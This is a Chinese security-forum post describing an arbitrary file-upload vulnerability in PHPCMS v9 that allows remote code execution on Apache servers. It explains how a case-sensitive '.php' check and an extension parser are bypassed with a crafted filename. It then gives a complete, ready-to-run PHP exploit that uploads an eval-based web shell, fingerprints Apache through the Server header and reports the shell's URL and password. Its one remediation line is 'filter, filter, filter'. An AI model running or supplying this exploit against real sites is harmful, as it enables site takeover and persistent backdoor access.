找回密码
 立即注册
查看: 3094|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
4 l$ I  K4 C; K5 z6 S) |  q
4 v# x8 f5 a+ e6 W% r1 j. Z8 S简要描述:5 _# v5 W, t! j' U( x
. u3 \/ D3 k3 j" X* V7 Z
phpcms v9 getshell (apache)
9 W/ m& Y6 B% G4 u详细说明:) ?: v  z; s6 y; N- B! N  S
0 V3 _) R) P2 l% ]9 q# L
漏洞文件:phpcms\modules\attachment\attachments.php
, l# J! I) F6 d/ s9 z) a% B  X
/ i% e! Q8 F% ?4 \public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } 7 h* U. I" {, [
后缀检测:phpcms\modules\attachment\functions\global.func.php. n: U. @7 N5 R# ^
, T7 ]- j6 _8 y  d1 w9 h

  f: B: O4 B+ V" h9 [, L' O: w
5 V! u- p& Q+ E* R* {0 qfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
& z* J& M! g3 K/ ^
$ {# n0 T- n. b* Z关键函数:
4 q! g, |: {/ F" h: ?* Q
+ t  e% p5 P6 B& X' O
& s4 L) U' i0 i5 x! F% Z% z' |. E6 c! ]0 M
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  4 r/ w: y/ K' u# H2 `6 J

. {) E( O) Q0 `: l1 X  Fileext函数是对文件后缀名的提取。
1 B5 Y% ^. G7 z& z8 m根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
- j9 e: d! p6 ?" O5 V经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。+ t) z2 W# K- Y4 i, D
我们回到public function crop_upload() 函数中+ Y3 }& n( ]$ F" B  t
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();* {! |/ x, E6 z7 r3 @* P4 X1 O
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
; Y) ~5 E5 B! q# {这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。% Q8 h* W( c, [! W' d( G" J, s
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
  O9 X2 H% ?0 b0 `" x( E& z最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
+ c" M3 H9 l: v3 G) B看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
2 {) A0 T9 s0 M/ M漏洞证明:) V+ o9 a/ D- o0 n$ k5 \* Q
. t. c2 y/ N' `/ Z# i/ n' a" C
exp:
0 s$ e4 S+ Y, z5 @8 t9 {5 p9 f. e: i' L4 g( B  p& }+ q+ c/ E3 Q2 n
<?php; e4 u0 w; F0 ?0 V
error_reporting(E_ERROR);
3 Q, G7 @: a" e+ tset_time_limit(0);
. `+ }/ _; B( a; ^0 K$pass="ln";) i% ~3 }* B( S3 P3 r( X. I' W
print_r('
, l2 r* \4 g! m! \4 c+---------------------------------------------------------------------------+' |% c- A1 o/ X1 P/ y! u3 x
PHPCms V9 GETSHELL 0DAY
2 ^$ P: E" P1 }8 K) K6 }8 T. s3 B1 Ucode by L.N.2 l4 M0 J. I* ^: v/ N- e
2 w$ p& r8 J: x) h
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net2 d0 o+ M. q. T) y) A; D0 `
+---------------------------------------------------------------------------+
$ @9 ~1 x" ^+ a; K0 L& `4 E, G');
+ h' w% X7 U8 L; nif ($argc < 2) {
. w' f9 ?) p7 {) _( bprint_r('" j9 Z( K7 Y2 b  ~3 V& Y" N4 O
+---------------------------------------------------------------------------+
. b* L' p/ C$ M: f+ K: v' f/ W8 ]0 zUsage: php '.$argv[0].' url path
& K) l; B5 y# Z, |4 m9 B2 l  J% c( ]3 M. U
Example:
' h& x* X; P# u9 r; v( K1.php '.$argv[0].' lanu.sinaapp.com
: F& p6 D* V, B& {2.php '.$argv[0].' lanu.sinaapp.com /phpcms
$ d. X0 l8 f% X% |; R+ @+---------------------------------------------------------------------------+
8 R3 @( A  z* z( V0 O; ]');& @. u  I/ a2 Q% c+ M3 b! z% d
exit;
4 q. R* Z, j' X; U}- u6 Y$ b+ q( V& T

& p9 J6 f9 F0 ~9 ^$url = $argv[1];/ d7 A% s. j  T1 D
$path = $argv[2];+ Z- I; r; T2 Z, s' }
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
/ X. P3 s: {7 H9 g$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';0 d* o& I$ i6 z7 Z* s0 }: A
if($ret=Create_dir($url,$path))
; S$ Z  j; @9 `4 o5 p/ U1 v{
- X4 e" \0 G( U* p" a% v( e//echo $ret;+ B+ N; H$ b. p# J, b/ {
$pattern = "|Server:[^,]+?|U";( Z- g$ i1 s6 A/ v9 s, k
preg_match_all($pattern, $ret, $matches);. X& P( y. D6 ~3 _3 V8 n
if($matches[0][0])  L; I2 y" W/ K6 [7 `
{" y2 C6 }8 e( R- T+ v& L
if(strpos($matches[0][0],'Apache') == false)1 T+ m9 z. X9 d4 h" o8 N
{. O, r9 H/ e% V
echo "\n亲!此网站不是apache的网站。\n";exit;8 J) j* L$ _/ [/ d$ [
}2 |5 A. ?$ G7 g1 J( t
}: _$ P; e% p+ C: M
$ret = GetShell($url,$phpshell,$path,$file);
% y0 Y1 p! g  E7 w- W, \$pattern = "|http:\/\/[^,]+?\.,?|U";  o+ ]- t/ z; M& U
preg_match_all($pattern, $ret, $matches);9 Y- P+ B5 a! ^: m( ]
if($matches[0][0])
+ }5 a) ]0 i. U) H$ B) [# P% D{1 A) |3 h! R% p; }7 F
echo "\n".'密码为: '.$pass."\n";8 a% b' q# ~% g0 r. ^6 s
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
7 M9 Y( W4 u9 Y3 p. U# B! D}, a* P# E: p' m- p/ R4 X& j% z! v
else3 C, r* ~( Q5 O; T/ a; M  Q9 A
{
$ d6 V3 e* L" R' H4 a& C9 h$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
& \% }2 s' `& `0 zpreg_match_all($pattern, $ret, $matches);4 R0 v2 Y; I/ n! Q8 q. Q* l
if($matches[0][0])
6 @& i7 w/ W+ I/ M* W{: b$ x- F, O- _0 X
echo "\n".'密码为: '.$pass."\n";6 j, E& a5 U- i
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
5 Y/ y. M4 f& L2 M1 y9 `9 R, a0 F}
: L" Q8 r& Z2 n, i/ s# ielse
9 S7 J+ _5 W/ N' ^( W& n0 i{9 O$ Z7 h8 {, B
echo "\r\n没得到!\n";exit;
0 ]! R. q/ E9 M- {; T}
; u2 G2 f2 Q8 H- r. z( T& \}
. {. h; U/ _# A}
& y6 |: B. T  }6 v
( ^3 u; e$ C7 Vfunction GetShell($url,$shell,$path,$js)
( \4 n9 o+ l, X& X% G9 B$ }{& h, x1 W3 w; W0 t0 O' e% \: R/ P
$content =$shell;
3 `" ^4 k4 K" `+ b$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";. }* x! o. o0 R7 f
$data .= "Host: ".$url."\r\n";
) r6 Y4 C: I. S6 `$ m$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
& K8 e' s5 c+ w1 o! u$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
2 \% m$ y* k3 ?9 U$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";/ Z# @: n, b  E/ r- m1 r
$data .= "Connection: close\r\n";( m3 V5 S/ s9 {9 w
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
  X: H0 }6 o5 y6 A) {$data .= $content."\r\n";* P  x% U( m' @9 J
$ock=fsockopen($url,80);
7 q8 Y9 Q# W- N* Q* _* K+ hif (!$ock)
( C/ p: M9 e/ q' S{
$ s+ T2 c  x$ |7 Hecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;8 f0 B- u% o& C: |5 S
}4 s4 _6 ~  o/ v
else( _( s7 d# @) `- |; A
{$ K; L. h; t( |$ M* t) v
fwrite($ock,$data);
% Q( N! ^! {0 H. x4 ?- x$resp = '';2 Z7 _0 l$ Q+ c# f
while (!feof($ock))
; D; e7 T. B  M( Z3 E4 d( j{
4 H- n" o$ e; b7 Y+ w- }" g8 d$resp.=fread($ock, 1024);
2 z  D! W% J6 Z0 ~% h0 g1 a. o}) `5 Z/ c! W7 a
return $resp;
1 i+ l+ O" N: W" D4 B( Y6 C8 j: ~}
% R/ s5 A& B/ e% E& r$ E  U% ?}
, K4 o) a+ O% l& I5 C5 C( Z! {9 g$ w8 c$ k
function Create_dir($url,$path='')( }0 j3 S  R" I. Z
{" P: j2 g6 D2 K: \; V, u. N  y
$content ='I love you';7 @8 }$ D, y" w& [2 l" B+ A
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";4 v& n6 Y- q5 _
$data .= "Host: ".$url."\r\n";
) g1 s  b+ M9 F$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";3 z  z+ ~* A3 m: d2 h+ e" s
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";* p8 w: r. g& d
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
! @* R' j) O& `/ ?: t4 L/ z$data .= "Connection: close\r\n";
; r8 @. R0 |7 l0 c' t$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
6 N8 F- r) m( H% o$data .= $content."\r\n";! o# ]3 }2 x' C2 V3 X
$ock=fsockopen($url,80);7 f3 U3 @8 H+ W: p
if (!$ock)
5 L% i, E; @# T& y6 N{5 U. k; S+ r0 c/ f, }: n  f8 u
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
% g- z; {+ t2 X+ ~}- A: D* x' U2 Q2 w) Q7 |5 h  X
fwrite($ock,$data);7 V6 X3 Z& ~; |
$resp = '';  Q+ X4 K: a" V  W! \
while (!feof($ock))
4 o, G+ m0 e: o{
; ?& u5 J8 N: A* p* E$resp.=fread($ock, 1024);
$ s; B/ w6 H9 j- {9 U( @' p$ a}5 Z$ F  O' L( \3 D/ |+ ]1 u
return $resp;
5 B! c8 e. Q- {0 }}
9 f# F' F. [: w! g?>
8 T; w$ H; \3 y# ]; N
" H1 j4 m8 K3 G, V修复方案:, b0 H( j1 R1 N9 V

% {* v+ f4 O+ Y9 |% p0 j; E: S过滤过滤再过滤
2 Y9 n) \5 N/ ~# ?; b+ ^  Q8 @! R7 c% p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表